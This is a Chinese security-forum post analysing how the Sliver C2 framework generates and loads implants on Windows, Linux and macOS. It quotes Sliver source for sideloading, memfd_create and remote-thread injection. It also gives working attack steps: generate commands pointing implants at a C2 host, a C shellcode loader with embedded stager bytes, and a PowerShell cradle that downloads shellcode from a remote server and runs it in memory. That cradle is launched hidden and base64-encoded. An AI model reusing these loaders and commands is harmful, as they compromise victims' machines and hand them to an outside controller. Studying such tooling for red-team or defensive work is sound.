sliver(一)生成implant方式上线过程及源码分析
xiul0 发表于 日本 安全工具 1145浏览 · 2024-08-29 14:30

前置知识

注:此片文章分析的是sliver1.5.42 可用直接在sliver交互窗口输入version查看当前版本

基础入门:https://forum.butian.net/share/2243

首先要明确为什么c2工具在不同平台的上线方式不同

在不同的平台上使用不同的方法来初始化和运行代码是因为各个平台操作系统以及文件格式的差别,还有安全机制的不同

具体的话还包括的动态库加载机制和初始化方法也有所不同

动态链接库(Dylib)和共享库:

macOS 使用 Mach-O 文件格式,Linux 使用 ELF 文件格式。在这两个平台上,通常通过加载共享库(.dylib 或 .so 文件)来实现代码的动态注入和执行,而不是直接使用 shellcode。

下面是sliver generate 模块的help,可供参考

sliver > generate -h

Command: generate <options>
About: Generate a new sliver binary and saves the output to the cwd or a path specified with --save.

++ Command and Control ++
You must specificy at least one c2 endpoint when generating an implant, this can be one or more of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
The command requires at least one use of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.

The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using mutual-TLS:
    generate --mtls foo.example.com 

The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using Wireguard on UDP port 9090,
then connect to TCP port 1337 on the server's virtual tunnel interface to retrieve new wireguard keys, re-establish the wireguard connection using the new keys, 
then connect to TCP port 8888 on the server's virtual tunnel interface to establish c2 comms.
    generate --wg 3.3.3.3:9090 --key-exchange 1337 --tcp-comms 8888

You can also stack the C2 configuration with multiple protocols:
    generate --os linux --mtls example.com,domain.com --http bar1.evil.com,bar2.attacker.com --dns baz.bishopfox.com


++ Formats ++
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
with the --os and --format flags.

To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
    generate --mtls foo.example.com 
    generate --os windows --arch 64bit --mtls foo.example.com

A Windows DLL can be generated with the following command:
    generate --format shared --mtls foo.example.com

To output a MacOS Mach-O executable file, the following command would be used
    generate --os mac --mtls foo.example.com 

To output a Linux ELF executable file, the following command would be used:
    generate --os linux --mtls foo.example.com 


++ DNS Canaries ++
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process. 
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt 
to probe the endpoint or otherwise resolve the domain you'll be alerted that your implant has been discovered, 
and which implant file was discovered along with any affected sessions.

Important: You must have a DNS listener/server running to detect the DNS queries (see the "dns" command).

Unique canary subdomains are automatically generated and inserted using the --canary flag. You can view previously generated 
canaries and their status using the "canaries" command:
    generate --mtls foo.example.com --canary 1.foobar.com

++ Execution Limits ++
Execution limits can be used to restrict the execution of a Sliver implant to machines with specific configurations.

++ Profiles ++
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.


Usage:
======
  generate [flags]

Flags:
======
  -a, --arch               string    cpu architecture (default: amd64)
  -c, --canary             string    canary domain(s)
  -d, --debug                        enable debug features
  -O, --debug-file         string    path to debug output
  -G, --disable-sgn                  disable shikata ga nai shellcode encoder
  -n, --dns                string    dns connection strings
  -e, --evasion                      enable evasion features (e.g. overwrite user space hooks)
  -E, --external-builder             use an external builder
  -f, --format             string    Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
  -h, --help                         display help
  -b, --http               string    http(s) connection strings
  -X, --key-exchange       int       wg key-exchange port (default: 1337)
  -w, --limit-datetime     string    limit execution to before datetime
  -x, --limit-domainjoined           limit execution to domain joined machines
  -F, --limit-fileexists   string    limit execution to hosts with this file in the filesystem
  -z, --limit-hostname     string    limit execution to specified hostname
  -L, --limit-locale       string    limit execution to hosts that match this locale
  -y, --limit-username     string    limit execution to specified username
  -k, --max-errors         int       max number of connection errors (default: 1000)
  -m, --mtls               string    mtls connection strings
  -N, --name               string    agent name
  -p, --named-pipe         string    named-pipe connection strings
  -o, --os                 string    operating system (default: windows)
  -P, --poll-timeout       int       long poll request timeout (default: 360)
  -j, --reconnect          int       attempt to reconnect every n second(s) (default: 60)
  -R, --run-at-load                  run the implant entrypoint from DllMain/Constructor (shared library only)
  -s, --save               string    directory/file to the binary to
  -l, --skip-symbols                 skip symbol obfuscation
  -Z, --strategy           string    specify a connection strategy (r = random, rd = random domain, s = sequential)
  -T, --tcp-comms          int       wg c2 comms port (default: 8888)
  -i, --tcp-pivot          string    tcp-pivot connection strings
  -I, --template           string    implant code template (default: sliver)
  -t, --timeout            int       command timeout in seconds (default: 60)
  -g, --wg                 string    wg connection strings

Sub Commands:
=============
  beacon  Generate a beacon binary
  info    Get information about the server's compiler
  stager  Generate a stager using Metasploit (requires local Metasploit installation)

sliver提供的编译方式 对应上线方式及源代码分析

sliver提供了几种对于implant的编译方式,有编译成shellcode(只支持windows) ,编译成第三方库文件(如dll so dylib) 和编译成exe(可执行文件)

从而一一对应,加载器加载shellcode内存执行上线,sideload 加载第三方库文件上线 ,直接运行可执行文件上线

编译成第三方库用例以及sideload源码分析

官网有提到关于sideload的使用https://sliver.sh/docs?name=Third%20Party%20Tools

# 生成适用于 Windows 的 DLL
sliver > generate --mtls x.x.x.x:443 --os windows --arch amd64 --format dll --save ./malicious.dll

# 生成适用于 macOS 的 dylib
sliver > generate --mtls x.x.x.x:443 --os mac --arch arm64 --format dylib --save ./malicious.dylib

# 生成适用于 Linux 的 so
sliver > generate --mtls x.x.x.x:443 --os linux --arch amd64 --format so --save ./malicious.so
// Windows example
sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/malicious.dll
// Linux example
sliver (CONCRETE_STEEL) > sideload -p /bin/bash  /tmp/malicious.so
// MacOS example 这里尝试我自己装的goby,怕打出问题,这里官方文档给的指定命令参数是-a,但是当前版本没有改参数应该是指定- A,应该是文档没有及时更新
sliver (CONCRETE_STEEL) > sideload -p /Applications/Goby.app/Contents/MacOS -A 'Hello World' /tmp/malicious.dylib

windows

可以执行成功,直接执行sideload -e ChromeDump /tmp/malicious.dll 即可侧载dll上线sliver

linux

我并没有执行成功,报以下错误,说明没法加载executable文件

[!] Error: rpc error: code = Unknown desc = ERROR: ld.so: object '/proc/1983637/fd/8' from LD_PRELOAD cannot be preloaded (cannot dynamically load executable): ignored.
/bin/bash: : No such file or directory

file一下可以看出确实生成的是一个executable文件而不是shared object

并且在测试过程中发现sliver生成Linux的第三方库可以执行.so上线

(理论上应该是生成shared object用export加载或者sideload加载上线,but我file看了一下,生成的.so并非shared object 而是一个executable所以可以执行上线,看后面生成第三方库文件的源码分析即可知道原因)

mac

生成.dylib文件后直接执行 sideload -p /Applications/Goby.app/Contents/MacOS -A 'Hello World' /tmp/malicious.dylib

没有报错,且无法成功上线,且不知原因,但是我猜测是sip机制保护了mac的系统完整性(不敢搞大的,mac是物理机)

sideload源码

植入物中sideload的实现源码位置在implant/sliver/taskrunner中,几个平台略有不同,下面是具体实现代码

Darwin

func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
    var (
        stdOut bytes.Buffer
        stdErr bytes.Buffer
        wg     sync.WaitGroup
        cmd    *exec.Cmd
    )
    fdPath := fmt.Sprintf("/tmp/.%s", RandomString(10))
    err := ioutil.WriteFile(fdPath, data, 0755)
    if err != nil {
        return "", err
    }
    env := os.Environ()
    newEnv := []string{
        fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
        fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
    }
    env = append(env, newEnv...)
    if len(procArgs) > 0 {
        cmd = exec.Command(procName, procArgs...)
    } else {
        cmd = exec.Command(procName)
    }
    cmd.Env = env
    cmd.Stdout = &stdOut
    cmd.Stderr = &stdErr
    //{{if .Config.Debug}}
    log.Printf("Starting %s\n", cmd.String())
    //{{end}}
    wg.Add(1)
    go startAndWait(cmd, &wg)
    // Wait for process to terminate
    wg.Wait()
    // Cleanup
    os.Remove(fdPath)

    if len(stdErr.Bytes()) > 0 {
        return "", fmt.Errorf(stdErr.String())
    }
    //{{if .Config.Debug}}
    log.Printf("Done, stdout: %s\n", stdOut.String())
    log.Printf("Done, stderr: %s\n", stdErr.String())
    //{{end}}
    return stdOut.String(), nil
}

sideload会将从sideloadHandler函数传递过来的data写入到/tmp目前下一个随机命名的文件中,并将环境变量 DYLD_INSERT_LIBRARIES指定到该文件,

ok,那么我再操作一下mac平台的sideload,同时监控一下自己的端口流量情况 /tmp目录,和环境变量(环境变量他设置的并不是全局,我目前不知道如何监控),看看问题出在哪里

sideload -p /Applications/Goby.app/Contents/MacOS -A 'Hello World' /tmp/malicious.dylib

wireshark监听流量,发现流量正常,/tmp目录也随机名称生成了 , 这里是用fswatch ./ 监控当前目录

和环境变量都不知道怎么监控,那么直接把这段代码给拖到本地然后稍微修改一下代码直接在mac上运行,

package main

import (
    "bytes"
    "fmt"
    "log"
    insecureRand "math/rand"
    "os"
    "os/exec"
    "strings"
    "sync"
    "time"
)

func RandomString(length int) string {
    charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    return stringWithCharset(length, charset)
}
func stringWithCharset(length int, charset string) string {
    seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano()))
    b := make([]byte, length)
    for i := range b {
        b[i] = charset[seededRand.Intn(len(charset))]
    }
    return string(b)
}
func startAndWait(cmd *exec.Cmd, wg *sync.WaitGroup) {
    defer wg.Done()
    err := cmd.Start()
    if err != nil {
        log.Printf("Command start error: %v", err)
        return
    }
    err = cmd.Wait()
    if err != nil {
        log.Printf("Command wait error: %v", err)
    }
}
func Sideload(procName string, procArgs []string, data []byte, args []string) (string, error) {
    var (
        stdOut bytes.Buffer
        stdErr bytes.Buffer
        wg     sync.WaitGroup
        cmd    *exec.Cmd
    )
    fdPath := fmt.Sprintf("/tmp/.%s.dylib", RandomString(10))
    err := os.WriteFile(fdPath, data, 0755)
    if err != nil {
        return "", err
    }
    defer os.Remove(fdPath)

    env := os.Environ()
    newEnv := []string{
        fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
        fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
    }
    env = append(env, newEnv...)
    if len(procArgs) > 0 {
        cmd = exec.Command(procName, procArgs...)
    } else {
        cmd = exec.Command(procName)
    }
    cmd.Env = env
    cmd.Stdout = &stdOut
    cmd.Stderr = &stdErr

    log.Printf("Starting %s with DYLD_INSERT_LIBRARIES=%s\n", procName, fdPath)
    wg.Add(1)
    go startAndWait(cmd, &wg)
    wg.Wait()

    if len(stdErr.Bytes()) > 0 {
        return "", fmt.Errorf(stdErr.String())
    }
    log.Printf("Done, stdout: %s\n", stdOut.String())
    log.Printf("Done, stderr: %s\n", stdErr.String())
    return stdOut.String(), nil
}

func main() {
    procName := "/Applications/Goby.app/Contents/MacOS/Goby"
    procArgs := []string{"printenv"}
    dylibPath := "/Users/admin/Desktop/x/x/x/sliver/malicious_amd64.dylib"//指定你的dylib目录

    // Read the dylib file into a byte slice
    data, err := os.ReadFile(dylibPath)
    if err != nil {
        log.Fatalf("Failed to read dylib file: %v", err)
    }

    args := []string{"example_argument"} 
    output, err := Sideload(procName, procArgs, data, args)
    if err != nil {
        log.Fatalf("Sideload failed: %v", err)
    }

    fmt.Printf("Sideload output:\n%s", output)
}

好的,暴露我是lj inter的mac了

这里需要重新生成一下dylib依赖库,指定arch为x86

sliver > generate --mtls x.x.x.x --os mac --arch amd64 --format dylib --save ./malicious.dylib

回到Linux上无法加载.so文件的老问题上了。。。(后续分析第三方库生成的代码时有分析)

file看一下确实是一个excitable文件,直接执行可以上线。。。我sideload个x

Linux

func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
    var (
        nrMemfdCreate int
        stdOut        bytes.Buffer
        stdErr        bytes.Buffer
        cmd           *exec.Cmd
    )
    memfdName := RandomString(8)
    memfd, err := syscall.BytePtrFromString(memfdName)
    if err != nil {
        //{{if .Config.Debug}}
        log.Printf("Error during conversion: %s\n", err)
        //{{end}}
        return "", err
    }
    if runtime.GOARCH == "386" {
        nrMemfdCreate = 356
    } else {
        nrMemfdCreate = 319
    }
    fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
    pid := os.Getpid()
    fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
    err = os.WriteFile(fdPath, data, 0755)
    if err != nil {
        //{{if .Config.Debug}}
        log.Printf("Error writing file to memfd: %s\n", err)
        //{{end}}
        return "", err
    }
    //{{if .Config.Debug}}
    log.Printf("Data written in %s\n", fdPath)
    //{{end}}
    env := os.Environ()
    newEnv := []string{
        fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
        fmt.Sprintf("LD_PRELOAD=%s", fdPath),
    }
    env = append(env, newEnv...)
    if len(procArgs) > 0 {
        cmd = exec.Command(procName, procArgs...)
    } else {
        cmd = exec.Command(procName)
    }
    cmd.Env = env
    cmd.Stdout = &stdOut
    cmd.Stderr = &stdErr
    //{{if .Config.Debug}}
    log.Printf("Starging %s\n", cmd.String())
    //{{end}}
    wg.Add(1)
    go startAndWait(cmd, &wg)
    // Wait for process to terminate
    wg.Wait()
    if len(stdErr.Bytes()) > 0 {
        return "", fmt.Errorf(stdErr.String())
    }
    //{{if .Config.Debug}}
    log.Printf("Done, stdout: %s\n", stdOut.String())
    log.Printf("Done, stderr: %s\n", stdErr.String())
    //{{end}}
    return stdOut.String(), nil
}

Linux端sideload的核心是调用memfd_create来创建一个匿名内存文件描述符,将第三方库的数据写入到文件描述符中,再将LD_PRELOAD环境变量指向描述符路径,所以这种sideload是无文件的,全在内存进行操作(sliver生成的.so十多兆。。。理论上行为检测也挺容易检测到的)

windows

func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args []string, kill bool) (string, error) {
    var lpTargetHandle windows.Handle
    err := refresh()
    if err != nil {
        return "", err
    }
    var stdoutBuff bytes.Buffer
    var stderrBuff bytes.Buffer
    // 1 - Start process
    cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
    if err != nil {
        return "", err
    }
    pid := cmd.Process.Pid
    // {{if .Config.Debug}}
    log.Printf("[*] %s started, pid = %d\n", procName, pid)
    // {{end}}
    handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
    if err != nil {
        return "", err
    }
    currentProcHandle, err := windows.GetCurrentProcess()
    if err != nil {
        // {{if .Config.Debug}}
        log.Println("GetCurrentProcess failed")
        // {{end}}
        return "", err
    }
    err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
    if err != nil {
        // {{if .Config.Debug}}
        log.Println("DuplicateHandle failed")
        // {{end}}
        return "", err
    }
    defer windows.CloseHandle(handle)
    defer windows.CloseHandle(lpTargetHandle)
    dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
    argAddr := uintptr(0)
    argsStr := strings.Join(args, " ")
    if len(argsStr) > 0 {
        //{{if .Config.Debug}}
        log.Printf("Args: %s\n", argsStr)
        //{{end}}
        argsArray := []byte(argsStr)
        argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
        if err != nil {
            return "", err
        }
    }
    //{{if .Config.Debug}}
    log.Printf("[*] Args addr: 0x%08x\n", argAddr)
    //{{end}}
    startAddr := uintptr(dataAddr) + uintptr(offset)
    threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr, argAddr, uint32(len(data)))
    if err != nil {
        return "", err
    }
    // {{if .Config.Debug}}
    log.Printf("[*] RemoteThread started. Waiting for execution to finish.\n")
    // {{end}}

    if kill {
        err = waitForCompletion(threadHandle)
        if err != nil {
            return "", err
        }
        // {{if .Config.Debug}}
        log.Printf("[*] Thread completed execution, attempting to kill remote process\n")
        // {{end}}
        cmd.Process.Kill()
        return stdoutBuff.String() + stderrBuff.String(), nil
    }
    return "", nil
}

widows的sideload和SpawnDll最后调用的是同一个函数,先startProcess启动一个远程进程,然后用DuplicateHandle将生成进程的句柄复制到当前进程句柄,在新进程中allocAndWrite创建内存并写入dll的data,然后计算偏移,用protectAndExec执行新进程中dll所在地址dataAddr的代码

sliver中生成为第三方库代码分析

能够生成dll so 以及dylib库文件 ,sliver主要还是依赖cgo调用c实现,代码位置在/implant/sliver/sliver.c,为了实现跨平台,sliver中支持交叉编译器

Windows 平台

在 Windows 平台上,DLL 的加载和初始化由 DllMain 函数处理。DllMain 是每个 DLL 必须实现的入口点,当 DLL 被加载、卸载或线程在加载 DLL 的进程中附加或分离时,系统会调用 DllMain。由于在 DllMain 中执行长时间运行的代码或创建线程可能会导致死锁,因此通常会在一个单独的线程中执行需要运行的代码。

#include "sliver.h"

#ifdef __WIN32
#include <windows.h>

void StartW();

DWORD WINAPI Start()
{
    StartW();
    return 0;
}
BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL, // handle to DLL module
    DWORD _fdwReason,    // reason for calling function
    LPVOID _lpReserved)  // reserved
{
    switch (_fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        // Initialize once for each new process.
        // Return FALSE to fail DLL load.
        {
            // {{if .Config.RunAtLoad}}
            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
            HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
            // {{end}}
        }
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}

Linux 平台

在 Linux 平台上,使用 ELF 文件格式的 .init_array 段来指定初始化函数。这个函数在共享对象加载时会自动执行。在 init 函数中,调用 unsetenv 清除特定环境变量

c#elif __linux__
#include <stdlib.h>

void StartW();

static void init(int argc, char **argv, char **envp)
{
    unsetenv("LD_PRELOAD");
    unsetenv("LD_PARAMS");
    // {{if .Config.RunAtLoad}}
    StartW();
    // {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;

macOS 平台

在 macOS 平台上,使用 attribute((constructor)) 来指定初始化函数。这些函数会在共享对象加载时自动执行。在 init 函数中,同样调用 unsetenv 清除特定环境变量

#elif __APPLE__
#include <stdlib.h>
void StartW();

__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
    unsetenv("DYLD_INSERT_LIBRARIES");
    unsetenv("LD_PARAMS");
    // {{if .Config.RunAtLoad}}
    StartW();
    // {{end}}
}

#endif

总结就是windows在dllmain里面启动一个线程执行go函数,mac和linux时在init上执行go函数,StartW中是定义木马和server之间通信的,也是implant的关键所在(后续看情况要不要出文章分析吧)

server生成实现

生成第三方库文件具体是由server/generate/binaries.go中的SliverShareLibrary函数实现(万恶之源)

func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
    appDir := assets.GetRootAppDir()

    var cc string
    var cxx string
    if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
        buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
        cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
    }

    buildLog.Infof(" CC: %s", cc)
    buildLog.Infof("CXX: %s", cxx)

    goConfig := &gogo.GoConfig{
        CGO: "1",
        CC:  cc,
        CXX: cxx,

        GOOS:       config.GOOS,
        GOARCH:     config.GOARCH,
        GOCACHE:    gogo.GetGoCache(appDir),
        GOMODCACHE: gogo.GetGoModCache(appDir),
        GOROOT:     gogo.GetGoRootDir(appDir),
        GOPROXY:    getGoProxy(),
        HTTPPROXY:  getGoHttpProxy(),
        HTTPSPROXY: getGoHttpsProxy(),

        Obfuscation: config.ObfuscateSymbols,
        GOGARBLE:    goGarble(config),
    }
    pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
    if err != nil {
        return "", err
    }

    dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
    if goConfig.GOOS == WINDOWS {
        dest += ".dll"
    }
    if goConfig.GOOS == DARWIN {
        dest += ".dylib"
    }
    if goConfig.GOOS == LINUX {
        dest += ".so"
    }

    tags := []string{}
    if config.NetGoEnabled {
        tags = append(tags, "netgo")
    }
    ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
    if !config.Debug && goConfig.GOOS == WINDOWS {
        ldflags[0] += " -H=windowsgui"
    }
    // Statically link Linux .so files to avoid glibc hell
    if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
        ldflags[0] += " -linkmode external -extldflags \"-static\""
    }
    // Keep those for potential later use
    gcFlags := ""
    asmFlags := ""
    _, err = gogo.GoBuild(*goConfig, pkgPath, dest, "c-shared", tags, ldflags, gcFlags, asmFlags)
    if err != nil {
        return "", err
    }

    return dest, err
}

明显这里编译用到的参数是-linkmode external -extldflags "-static" 使用了-static将所有依赖库的静态文件都链接到生成的二进制文件中,目的是避免不同系统上运行时遇到共享库版本不兼容的问题,也就意味他可以无需在运行时依赖外部共享库上线,避免glibc等库版本的影响,但同时他的大小也会增大许多,可以将参数-extldflags "-static"去掉,以生成file为shared object的.so文件(这里可以随便找一个go文件用下面的编译方式做个小实验)

go build -ldflags '-linkmode external' -buildmode=c-shared -o myapp test.go

file myapp看一下可以看出是生成的shared object文件

stager加载shellcode用例(只支持win)

shellcode加载demo

用stager0去加载stager1(也就是shellcode),而且sliver是基于msf的,上面generate -h中最后一行有提到

stager  Generate a stager using Metasploit (requires local Metasploit installation)

那么就清楚了,

1 首先生成sliver profile,里面是记录生成implant的配置信息,后续会render code加载到implant源代码中,这里用mtls协议

2 然后sliver调用msf生成一个stager0,指定加载stager1(shellcode)的ip和端口,

3 最后指定profiles开始监听stager1所方的端口

profiles new --mtls x.x.x.x --skip-symbols --format shellcode --arch amd64 test1#mtls会默认在8888端口

generate stager  --lhost x.x.x.x --lport 9999 --arch amd64 --format c

stage-listener --url tcp://x.x.x.x:9999 --profile test1
#include "windows.h"

int main()
{
    unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b\x40\x20\x49\x01"
"\xd0\x50\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\x...

    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
}

x86_64-w64-mingw32-gcc -o test.exe test.c

执行test.exe即可上线

通信过程如下

[受害用户]
   |
   | (执行stage0)
   |
   v tcp协议请求9999端口 
[C2 服务器] ----> ( 请求/下载 Stager1)
   |
   | (下载/请求 Stager1)
   |
   v
[受害用户] ----> (内存中加载执行 Stager1)
   |
   | (执行stage1)
   |
   v mtls协议于8888端口 
[C2 服务器] ----> ( c2通信)

需要特别注意的是,sliver的stager上线和cs是不同的,cs中加载stager1和c2通信会在同一个端口,理论上来说cs的这种不容易被检测到,但是如果结合域前置和nginx反代的话,应该区别不大(后续可能会深入研究)

但是这本地测试tcp上线是没有问题但是尝试-r指定为http协议去获取stager1的时候存在无法上线的问题,目前还未确定是什么原因,wireshark抓包的情况是客户端直接断开连接,猜测是msf的问题,生成的stager0请求的并不是/fontawesome.woff接口,而是Iner-Medium.woff

远程加载shellcode上线

加载shellcode用什么语言都行,这里就只用一个powershell远程加载(Stager方式远程分离shellcode),也可以生成第一阶段shellcode来并用c实现加载shellcode上线(上面demo,这里倒是可以使用http的方式下载stager1)

# 创建profile文件
profiles new --mtls x.x.x.x:8888 --skip-symbols --format shellcode --arch amd64 test2
# 创建Stager1
stage-listener --url http://x.x.x.x:9999 --profile test2
$shell = @" 
using System;
using System.Runtime.InteropServices;
public class shell{
    [DllImport("kernel32.dll")] 
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]  
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]  
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $shell
$url = "http://x.x.x.x:9999/fontawesome.woff"#特征很明显,可以改配置文件修改名称
$client = New-Object System.Net.WebClient 
$shellcode = $client.DownloadData($url)  # 下载shellcode到内存中 
[Byte[]] $payload = $shellcode# 将shellcode转换为Byte[]类型

$payload_len = $payload.Length
[IntPtr]$exec_mem = [shell]::VirtualAlloc(0,$payload_len,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $exec_mem, $payload_len)
$tHandle = [shell]::CreateThread(0,0,$exec_mem,0,0,0)
[shell]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
稍做处理,即可方便上线
cat 11.psl | iconv --to-code UTF-16LE | base64 -w 0 
直接执行powershell即可
powershell.exe -nop -w hidden -Enc 《生成的base64》

生成shellcode过程代码 分析

源代码位置在server/generate/binaries.go 的SliverShellcode函数,可以直观看出,sliver只支持生成win的shellcode

func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
    if config.GOOS != "windows" {
        return "", fmt.Errorf("shellcode format is currently only supported on Windows")
    }
    appDir := assets.GetRootAppDir()
    goConfig := &gogo.GoConfig{
        CGO: "0",

        GOOS:       config.GOOS,
        GOARCH:     config.GOARCH,
        GOCACHE:    gogo.GetGoCache(appDir),
        GOMODCACHE: gogo.GetGoModCache(appDir),
        GOROOT:     gogo.GetGoRootDir(appDir),
        GOPROXY:    getGoProxy(),
        HTTPPROXY:  getGoHttpProxy(),
        HTTPSPROXY: getGoHttpsProxy(),

        Obfuscation: config.ObfuscateSymbols,
        GOGARBLE:    goGarble(config),
    }
    pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
    if err != nil {
        return "", err
    }

    dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
    dest += ".bin"

    // if the destination already exists, delete it
    if _, err := os.Stat(dest); err == nil {
        os.Remove(dest)
    }

    tags := []string{}
    if config.NetGoEnabled {
        tags = append(tags, "netgo")
    }
    ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
    if !config.Debug && goConfig.GOOS == WINDOWS {
        ldflags[0] += " -H=windowsgui"
    }
    // Keep those for potential later use
    gcFlags := ""
    asmFlags := ""
    _, err = gogo.GoBuild(*goConfig, pkgPath, dest, "pie", tags, ldflags, gcFlags, asmFlags)
    if err != nil {
        return "", err
    }
    shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "")
    if err != nil {
        return "", err
    }
    err = os.WriteFile(dest, shellcode, 0600)
    if err != nil {
        return "", err
    }
    config.Format = clientpb.OutputFormat_SHELLCODE

    return dest, err

}

比较直观,先用renderSliverGoCode函数调用fs.WalkDir操作implant中的代码写入临时文件中,renderSliverGoCode中经过一系列文件操作再进行render code ,得到源代码,然后调用gogo.GoBuild()并用pie模式编译成exe(不用pie模式话无法用donut的方式生成shellcode),生成shellcode是用DonutShellcodeFromFile()函数将exe转换为shellcode并写入文件中,这个是server/generate/donut.go中函数实现,donut.go中引入的是github.com/Binject/go-donut/donut库

生成exe用例

generate beacon(可选 默认session) --mtls(可选http) x.x.x.x:8080 --os macos(可选windows Linux) --max-errors 99999  --save ./macos_shell_http
mtls -l 8080

直接运行即可上线

生成exe过程和上述类似,在server/generate/binaries.go 的SliverExecutable函数中,这里就不分析了

图片来自网络

参考文章

https://sliver.sh/docs?name=Community+Guides
https://notateamserver.xyz/sliver-101/
https://dominicbreuker.com/post/learning_sliver_c2_10_sideload/
https://forum.butian.net/share/2274
https://www.cnblogs.com/bktown/p/the-file-does-not-land-online-sliver-n5ksu.html
https://x.hacking8.com/%E7%AC%94%E8%AE%B0/%F0%9F%91%BE%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%F0%9F%92%BB%20%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/sliver%20c2%E4%BB%A3%E7%A0%81%E7%9A%84%E5%AD%A6%E4%B9%A0.html
0 条评论
某人
表情
可输入 255